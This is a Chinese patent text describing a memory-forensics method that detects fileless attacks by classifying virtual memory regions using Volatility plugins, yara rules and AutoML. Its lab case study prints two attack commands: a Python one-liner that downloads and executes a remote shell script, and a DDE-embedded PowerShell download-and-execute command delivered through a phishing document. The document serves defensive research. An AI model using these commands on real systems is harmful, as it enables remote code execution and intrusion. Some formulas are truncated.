掌桥专利:专业的专利平台
掌桥专利
首页

基于内存取证的无文件攻击调查方法及系统

文献发布时间:2024-04-18 19:59:31


基于内存取证的无文件攻击调查方法及系统

技术领域

本发明属于网络安全攻击调查技术领域,具体涉及基于内存取证的无文件攻击调查方法及系统。

背景技术

虽然现代无文件恶意软件利用各种技术来逃避检测,但研究人员一直在探索内存取证作为检测此类攻击的方法。常见的方法是利用Volatility内存取证现有插件来提取特征,并利用机器学习算法进行分类;另一种方法是将内存镜像转换为图片表示,并利用深度学习技术进行检测。但这些方法利用内存镜像作为样本来判断主机是否被破坏,或以内存镜像中的进程为样本识别恶意进程。但是检测的粒度仍然相对较粗,不能定位到具体的内存区域。因此,要应对这些挑战,还需要进一步研究针对无文件攻击进行细粒度调查,目的是识别恶意进程并精确定位恶意虚拟内存区域。

发明内容

基于上述技术问题,本发明提供基于内存取证的无文件攻击调查方法及系统,通过提取特征并准确识别和定位可疑内存区域,有效地帮助分析人员调查无文件恶意软件攻击。

本发明提供基于内存取证的无文件攻击调查方法,所述方法包括:

步骤S1:分别运行良性样本和实施无文件攻击,获得内存镜像;所述无文件攻击类型包括代码注入、脚本攻击和离地攻击;所述内存镜像包括恶性样本内存镜像和良性样本内存镜像;

步骤S2:将每个所述内存镜像的虚拟地址描述符节点作为样本,提取所述样本对应的内存区域的特征;

步骤S3:将所述样本进行去重操作,同时对所述样本的数值进行归一化操作,构建数据集;

步骤S4:将所述数据集划分为训练集和测试集,使用自动化机器学习库在所述训练集进行模型训练,选择最优模型,将所述最优模型应用于所述数据集进行测试,得到测试结果;

步骤S5:根据所述测试结果,对测试的恶意样本进行验证分析。

可选地,所述分别运行良性样本和实施无文件攻击,获得内存镜像,具体包括:

所述无文件攻击类型包括代码注入、脚本攻击和离地攻击;

所述代码注入特征包括函数、二进制、代码、加密信息、对策、内存、木马和攻击框架;

所述脚本攻击特征包括恶意字符串、中性字符串和脚本,分别用于检测恶意命令提示符脚本、中性命令提示符脚本和其他恶意脚本;

所述离地攻击特征包括离地而生攻击、远程桌面协议和暗网通信协议;

所述内存镜像包括恶性样本内存镜像和良性样本内存镜像。

可选地,所述将每个所述内存镜像的虚拟地址描述符节点作为样本,提取所述样本对应的内存区域的特征,具体包括:

获取所述样本对应的内存区域的特征集;

基于内存取证框架设置插件,提取所述特征集的特征。

可选地,所述将所述样本进行去重操作,同时对所述样本的数值进行归一化操作,构建数据集,具体包括:

将所述样本转换为集合元素,去重重复项,再转回原始数据类型;

归一化操作公式为:

式中,x

可选地,所述将所述数据集划分为训练集和测试集,使用自动化机器学习库在所述训练集进行模型训练,选择最优模型,将所述最优模型应用于所述数据集进行测试,得到测试结果,具体包括:

将所述数据集划分为训练集和测试集,随机分配所述样本;

使用自动化机器学习库在所述训练集上进行模型训练,根据输出结果,比较不同模型的评估指标,选择在所述训练集上精度最高的模型作为最优模型;

将最优模型应用于所述测试集进行测试,得到所述最优模型的预测输出,计算所述最优模型在所述测试集的评估指标;

根据所述测试集上的评估指标,判断所述最优模型是否达到预期的目标,如果不满意,则调整参数并重新进行训练和测试;如果满意,将模型部署到实际应用中。

本发明还提供基于内存取证的无文件攻击调查系统,所述系统包括:

内存镜像采集模块,用于分别运行良性样本和实施无文件攻击,获得内存镜像;所述无文件攻击类型包括代码注入、脚本攻击和离地攻击;所述内存镜像包括恶性样本内存镜像和良性样本内存镜像;

特征提取模块,用于将每个所述内存镜像的虚拟地址描述符节点作为样本,提取所述样本对应的内存区域的特征;

数据处理模块,用于将所述样本进行去重操作,同时对所述样本的数值进行归一化操作,构建数据集;

自动机器学习模块,用于将所述数据集划分为训练集和测试集,使用自动化机器学习库在所述训练集进行模型训练,选择最优模型,将所述最优模型应用于所述数据集进行测试,得到测试结果;

验证分析模块,用于根据所述测试结果,对测试的恶意样本进行验证分析。

可选地,所述内存镜像采集模块,具体包括:

所述无文件攻击类型包括代码注入、脚本攻击和离地攻击;

所述代码注入特征包括函数、二进制、代码、加密信息、对策、内存、木马和攻击框架;

所述脚本攻击特征包括恶意字符串、中性字符串和脚本,分别用于检测恶意命令提示符脚本、中性命令提示符脚本和其他恶意脚本;

所述离地攻击包括离地而生攻击、远程桌面协议和暗网通信协议;

所述内存镜像包括恶性样本内存镜像和良性样本内存镜像。

可选地,所述特征提取模块,具体包括:

特征集获取子模块,用于获取所述样本对应的内存区域的特征集;

特征提取子模块,用于基于内存取证框架设置插件,提取所述特征集的特征。

可选地,所述数据处理模块,具体包括:

去重操作子模块,用于将所述样本转换为集合元素,去重重复项,再转回原始数据类型;

归一化操作公式为:

式中,x

可选地,所述自动机器学习模块,具体包括:

数据集划分子模块,用于将所述数据集划分为训练集和测试集,随机分配所述样本;

模型训练子模块,用于使用自动化机器学习库在所述训练集上进行模型训练,根据输出结果,比较不同模型的评估指标,选择在所述训练集上精度最高的模型作为最优模型;

模型测试子模块,用于将最优模型应用于所述测试集进行测试,得到所述最优模型的预测输出,计算所述最优模型在所述测试集的评估指标;

模型判断子模块,用于根据所述测试集上的评估指标,判断所述最优模型是否达到预期的目标,如果不满意,则调整参数并重新进行训练和测试;如果满意,将模型部署到实际应用中。

本发明与现有技术相比,具有以下有益效果:

本发明将覆盖进程注入,基于脚本攻击,离地而生攻击结合的无文件攻击调查系统,比仅针对内存注入检测的值有一定提高;以内存描述符(内存区域)为样本,样本中包含了特定进程的指定内存区域,自动识别出恶意内存区域,可以指导攻击调查者进一步利用内存取证深入分析内存区域的内容,减少分析人员的工作量;实现了基于volatility内存取证工具的自定义插件,实现内存镜像特征的提取;同时实现了多种类型的无文件攻击,构造内存镜像数据集。

附图说明

图1为本发明的基于内存取证的无文件攻击调查方法流程图;

图2为本发明的基于内存取证的无文件攻击调查系统结构图;

图3为本发明的基于Python的无文件攻击调查图;

图4为本发明的攻击命令示意图;

图5为本发明的恶意脚本内容示意图。

具体实施方式

下面结合具体实施案例和附图对本发明作进一步说明,但本发明并不局限于这些实施例。

实施例1

如图1所示,本发明公开基于内存取证的无文件攻击调查方法,方法包括:

步骤S1:分别运行良性样本和实施无文件攻击,获得内存镜像;无文件攻击类型包括代码注入、脚本攻击和离地攻击;内存镜像包括恶性样本内存镜像和良性样本内存镜像。

步骤S2:将每个内存镜像的虚拟地址描述符节点作为样本,提取样本对应的内存区域的特征。

步骤S3:将样本进行去重操作,同时对样本的数值进行归一化操作,构建数据集。

步骤S4:将数据集划分为训练集和测试集,使用自动化机器学习库在训练集进行模型训练,选择最优模型,将最优模型应用于数据集进行测试,得到测试结果。

步骤S5:根据测试结果,对测试的恶意样本进行验证分析。

下面对各个步骤进行详细论述:

步骤S1:分别运行良性样本和实施无文件攻击,获得内存镜像。

步骤S1具体包括:

检测代码注入特征包括API(函数)、Binary(二进制)、Code(代码)、Cryptography(加密信息)、Countermeasure(对策)、Memory(内存)、Trojan(木马),以及针对现有攻击框架Metasploit和Cobalt Strike的检测。

检测恶意脚本攻击特征,设计了三种不同的功能:恶意字符串、中性字符串和脚本。用于检测恶意PowerShell(命令提示符)脚本、中性PowerShell脚本和其他类型的恶意脚本。针对无文件攻击中的恶意文档攻击向量,开发了Maldoc(恶意文档)特征,构建了yara规则来识别已知的CVE漏洞和内存区域内的恶意VBA使用。

检测基于离地攻击(Lolbins)特征,设计了yara规则。这些规则用于检测内存区域中是否存在Lolbins;此外还设计了vnc_dark功能。该功能检测内存区域内是否存在VNC(远程桌面协议)和暗网协议。

通过分别运行良性样本和实施无文件攻击,在目标系统上获取内存镜像,而不触发任何文件监测或防护机制;内存镜像是一种保存了某一时刻系统内存中所有数据和状态的文件,可以用于分析系统运行情况或恢复系统状态。

获取两种类型的内存镜像:恶性样本内存镜像和良性样本内存镜像。恶性样本内存镜像是指被无文件攻击感染或影响的系统的内存镜像,其中可能包含恶意代码或异常行为的痕迹。良性样本内存镜像是指未被无文件攻击感染或影响的系统的内存镜像,其中不包含任何恶意代码或异常行为的痕迹。

本实施例中,无文件攻击类型包括代码注入、脚本攻击和离地攻击;内存镜像包括恶性样本内存镜像和良性样本内存镜像。

参考真实攻击者的行为,在虚拟机上模拟无文件攻击,攻击执行完毕后,捕获内存快照,以获得恶意样本的内存镜像,良性样本参考执行,并捕获内存镜像。由于无文件攻击触发条件的限制,采用手动执行,保证攻击处于连接状态下采集内存镜像。良性样本运行和内存镜像采集采用自动化脚本实现。

步骤S2:将每个内存镜像的虚拟地址描述符节点作为样本,提取样本对应的内存区域的特征。

步骤S2具体包括:

虚拟地址描述符(VAD)是一种用于描述进程虚拟地址空间中每个内存区域属性和状态的数据结构。VAD树是一种用于存储和管理进程所有VAD节点的平衡二叉树。通过遍历VAD树,获取进程所有内存区域的信息,包括起始地址、结束地址、保护属性、内存类型、内存状态、映射文件等。将每个内存镜像的每个VAD节点作为一个样本,提取其对应的内存区域的特征,用于后续的机器学习分析,可以提取的特征包括以下几种:

基本特征,包括内存区域的大小、保护属性、内存类型、内存状态等,这些特征可以反映内存区域的基本属性和用途。

内容特征,包括内存区域中的字符串、二进制数据、API调用、敏感信息等,这些特征可以反映内存区域中的具体内容和功能。

行为特征,包括内存区域中的代码执行、代码注入、代码修改、代码混淆等,这些特征可以反映内存区域中的动态行为和异常情况。

获取样本对应的内存区域的特征集,具体包括:

获取内存区域的内存特征集,具体包括is_sparse,protection,hbcia_strings,tag,mem_map,threads,private,network_string,persistence,victim_string,is_heap十一个特征,其中is_sparse,protection,tag,mem_map,threads,private,is_heap通过统计信息或者读取内存状态获得,hbcia_strings,network_string,victim_string,persistence通过构建yara规则进行内存区域扫描获得。

获取内存区域的函数特征集,具体包括api_general_string,api_dynamic_loading,api_hashing三个特征通过构建正则表达式或利用yara规则匹配实现。

获取内存区域的二进制特征集,具体包括pe_or_dll,is_module,exports,has_header,is_dynamic_library,imports,wiped_header七个特征,特征设计都是通过读取特定字段或标志进行判断设置。

获取内存区域的代码特征集,具体包括indirect_calls,indirect_jmps,functions,shellcode,hooks五个特征,其中前两个特征通过正则表达式进行匹配,后三个特征通过yara规则进行匹配。

获取内存区域的对策特征集,具体包括debugger,sandbox,vm三个特征,均采用yara规则匹配。

获取内存区域的加密信息特征集,具体包括cipher,encoding,hashing三个特征,均采用yara规则匹配。

获取内存区域的木马特征集,具体包括cookies,crenditials两个特征,通过设置yara规则进行提取。

获取内存区域的无文件特征集,具体包括msf,cobalt,malstring,neutral,script,lolbin,mal_doc,vnc_dark八个特征,均采用yara规则进行匹配。

本实施例中,内存镜像是对主机的当前所有进程的数据采集,主机有多个进程,每个进程里有多个虚拟地址描述符,虚拟地址描述符是一段内存区域(起止地址)。以虚拟地址描述符为样本,可以定位特定进程的某一内存区域。

本实施例中,内存区域的特征设计如表1所示,共计八个类别,四十二个特征。特征集包括内存特征集、函数特征集、二进制特征集、代码特征集、加密信息特征集、对策特征集、木马特征集和无文件特征集。

表1内存区域的特征设计

基于内存取证框架设置插件,提取特征集的特征,具体包括:

利用volatility内存取证开源工具,编写自定义的内存取证插件,提取特征集的特征。

步骤S3:将样本进行去重操作,同时对样本的数值进行归一化操作,构建数据集。

步骤S3具体包括:

将样本转换为集合元素,去重重复项,再转回原始数据类型。

本实施例中,使用集合(set)数据结构,将样本转换为集合元素,自动去除重复项,然后再转换回原始数据类型。这种方法的原理是利用集合的特性,即集合中的元素是无序的,且不允许重复。因此,将样本转换为集合元素时,会自动删除重复的样本。然后再将集合转换回原始数据类型。这种方法的优点是简单易用,不需要额外的空间和时间开销。

归一化操作公式为:

式中,x

步骤S4:将数据集划分为训练集和测试集,使用自动化机器学习库在训练集进行模型训练,选择最优模型,将最优模型应用于数据集进行测试,得到测试结果。

步骤S4具体包括:

将数据集划分为训练集和测试集,通常按照一定的比例(例如80%和20%)随机分配样本,以保证训练集和测试集的代表性和独立性。

使用自动化机器学习库(AutoML)在训练集上进行模型训练,AutoML是一种利用机器学习技术自动完成机器学习流程的方法,包括数据预处理、特征工程、模型选择、超参数优化等步骤。AutoML可以节省人工调试模型的时间和成本,提高模型的性能和可解释性。

选择最优模型(极端随机树),根据AutoML的输出结果,比较不同模型的评估指标(例如准确率、召回率、F1分数等),选择在训练集上表现最好的模型作为最优模型。

将最优模型应用于测试集进行测试,使用测试集的数据作为输入,得到模型的预测输出,然后与测试集的真实标签进行比较,计算模型在测试集上的评估指标,反映模型的泛化能力和稳定性。

得到测试结果,根据测试集上的评估指标,判断模型是否达到预期的目标,如果不满意,可以调整AutoML的参数或数据集,重新进行训练和测试。如果满意,可以将模型部署到实际应用中。

本实施例中,针对无文件攻击进行调查,其中AUC值为98%,Recall为93%,precison为96.4%,F1值为94.7%。

步骤S5:根据测试结果,对测试的恶意样本进行验证分析。

步骤S5具体包括:

根据测试结果,确定了一些恶意样本。需要对这些样本进行进一步的验证,以确认它们是否包含恶意代码、恶意行为或与已知的攻击载荷相关的特征;可以使用专业的安全工具和内存取证技术来分析样本的内容和结构。

使用Volatility时,需要指定内存镜像的文件路径和操作系统的版本,以便正确地识别内存结构。例如,如果内存镜像文件是memory.img,操作系统是Windows10,则可以使用以下命令:

volatility-fmemory.img--profile=Win10x64

内存取证,利用内存取证技术,对恶意内存样本进行深入的分析和审查。通过提取内存中的关键信息,如进程、线程、注册表、网络连接等,可以了解恶意样本在系统中的行为和活动,并识别其可能的攻击载荷。

通过使用这些插件,可以对恶意内存样本进行验证分析,例如:

通过pslist或psscan插件,可以查看是否有异常或隐藏的进程在运行,并记录其进程ID和名称;通过netscan插件,可以查看是否有异常或未知的网络连接或套接字,并记录其相关进程和远程地址;通过cmdline或dlllist插件,可以查看是否有异常或可疑的命令行参数或动态链接库,并记录其路径或内容;通过malfind或apihooks插件,可以查看是否有恶意代码注入或API钩子,并将其转储到文件中进行反汇编或反编译分析;通过hivelist或printkey插件,可以查看是否有异常或修改过的注册表项,并记录其键值或数据;通过hashdump插件,可以查看是否有被盗取或破解过的用户账户密码哈希值,并尝试恢复明文密码。通过vaddump可以将进程的虚拟地址描述符(VAD)的内容转储到文件中。vaddump插件可以用于提取那些没有映射到文件的内存区域的数据,例如堆、栈或注入的代码。

威胁识别与应对,根据验证分析的结果,识别出系统中存在的安全威胁,并制定相应的安全应对策略。这可能包括修复系统漏洞、更新安全策略、加强网络监控等措施,以加强系统的安全防御能力并降低未来的安全风险。

实施例2

如图2所示,本发明公开基于内存取证的无文件攻击调查系统,系统包括:

内存镜像采集模块10,用于分别运行良性样本和实施无文件攻击,获得内存镜像;无文件攻击类型包括代码注入、脚本攻击和离地攻击;内存镜像包括恶性样本内存镜像和良性样本内存镜像。

特征提取模块20,用于将每个内存镜像的虚拟地址描述符节点作为样本,提取样本对应的内存区域的特征。

数据处理模块30,用于将样本进行去重操作,同时对样本的数值进行归一化操作,构建数据集。

自动机器学习模块40,用于将数据集划分为训练集和测试集,使用自动化机器学习库在训练集进行模型训练,选择最优模型,将最优模型应用于数据集进行测试,得到测试结果。

验证分析模块50,用于根据测试结果,对测试的恶意样本进行验证分析。

作为一种可选地实施方式,本发明内存镜像采集模块10,具体包括:

无文件攻击类型包括代码注入、脚本攻击和离地攻击。

代码注入特征包括函数、二进制、代码、加密信息、对策、内存、木马和攻击框架。

脚本攻击特征包括恶意字符串、中性字符串和脚本,分别用于检测恶意命令提示符脚本、中性命令提示符脚本和其他恶意脚本。

离地攻击特征包括离地而生攻击、远程桌面协议和暗网通信协议。

内存镜像包括恶性样本内存镜像和良性样本内存镜像。

作为一种可选地实施方式,本发明特征提取模块20,具体包括:

特征集获取子模块,用于获取样本对应的内存区域的特征集。

特征提取子模块,用于基于内存取证框架设置插件,提取特征集的特征。

作为一种可选地实施方式,本发明数据处理模块30,具体包括:

去重操作子模块,用于将样本转换为集合元素,去重重复项,再转回原始数据类型。

归一化操作公式为:

式中,x

作为一种可选地实施方式,本发明自动机器学习模块40,具体包括:

数据集划分子模块,用于将数据集划分为训练集和测试集,随机分配样本。

模型训练子模块,用于使用自动化机器学习库在训练集上进行模型训练,根据输出结果,比较不同模型的评估指标,选择在训练集上精度最高的模型作为最优模型。

模型测试子模块,用于将最优模型应用于测试集进行测试,得到最优模型的预测输出,计算最优模型在测试集的评估指标。

模型判断子模块,用于根据测试集上的评估指标,判断最优模型是否达到预期的目标,如果不满意,则调整参数并重新进行训练和测试;如果满意,将模型部署到实际应用中。

实施例3

本实施例结合实验内容进行分析,步骤如下:

攻击过程:在攻击机(192.168.233.139)平台利用cobaltstrike搭建网站,部署shell.py脚本,开启tcp反弹shell连接。

目标机运行下列脚本:python–c"import urllib2;exec urllib2.urlopen('http://192.168.233.139:8000/shell.py').read();"。

建立攻击机到目标机的通道,完成无文件攻击。捕获系统内存镜像,检测恶意进程及其恶意内存区域。如图3所示,每个样本中都包含"地址"字段,格式:ImageName_ProcessID_ProcessName_VADStartAddress_VADEnd-Address,例如,一个名为014.vmem_3488_python.exe_0x1480000_0x14bdfff的特定样本被检测为恶意样本。案例研究涉及一个名为"014.vmem"的内存图像,它与一个名为"3488"的进程ID和一个名为"python.exe"的进程名称相关联。感兴趣的内存区域与虚拟地址描述符相对应,起始地址为"0x1480000",终止地址为"0x14bdfff"。

利用Volatility插件"vaddump",导出了指定的内存区域。随后,使用Neo打开了导出的dmp文件,发现了CobaltStrike的"beacon.dll"(如图3所示),以及与反向代码注入相关功能的相关信息。

本实施例结合案例进行分析,步骤如下:

在攻击机上生成恶意powershell脚本x1.ps1,开启反向连接监听,构造office文档,嵌入DDE命令,DDEAUTO C:\windows\system32\cmd.exe"/kpowershell IEX(New-ObjectNet.WebClient).DownloadString('http://192.168.233.146/fileless_shell/x1.ps1')"。将恶意文档通过钓鱼邮件发给目标用户。

目标用户在目标机器上打开钓鱼邮件附件,允许dde执行,将建立攻击机与目标机的连接通道,实现无文件攻击。捕获内存镜像,应用模型检测到如下两个样本为恶意。

样本一:008.vmem_2280_powershell.exe_0x1d30000_0x3d2ffff

样本二:008.vmem_2280_powershell.exe_0x1d30000_0x3d2ffff

两个样本表示的含义是008内存镜像,进程powershell,进程id为2280,恶意内存区域是0x1d30000_0x3d2ffff和0x1d30000_0x3d2ffff。通过vaddump导出指定内存区域,如图4和图5所示,看到攻击命令和x1.ps1的恶意脚本内容,通过实验验证和案例分析,证明了本发明的准确性和可行性。

以上所述仅为本发明的优选实施例而已,并不用于限制本发明,对于本领域的技术人员来说,本发明可以有各种更改和变化。凡在本发明的精神和原则之内,所作的任何修改、等同替换、改进等,均应包含在本发明的保护范围之内。

相关技术
  • 一种数据存储方法、系统、智能可穿戴设备及存储介质
  • 一种监测老年人生命体征的智能可穿戴设备
  • 一种智能儿童监控方法及可穿戴设备
  • 一种智能可穿戴设备承载件及智能可穿戴设备
  • 智能可穿戴设备的安全控制方法及装置、智能可穿戴设备
技术分类

06120116521378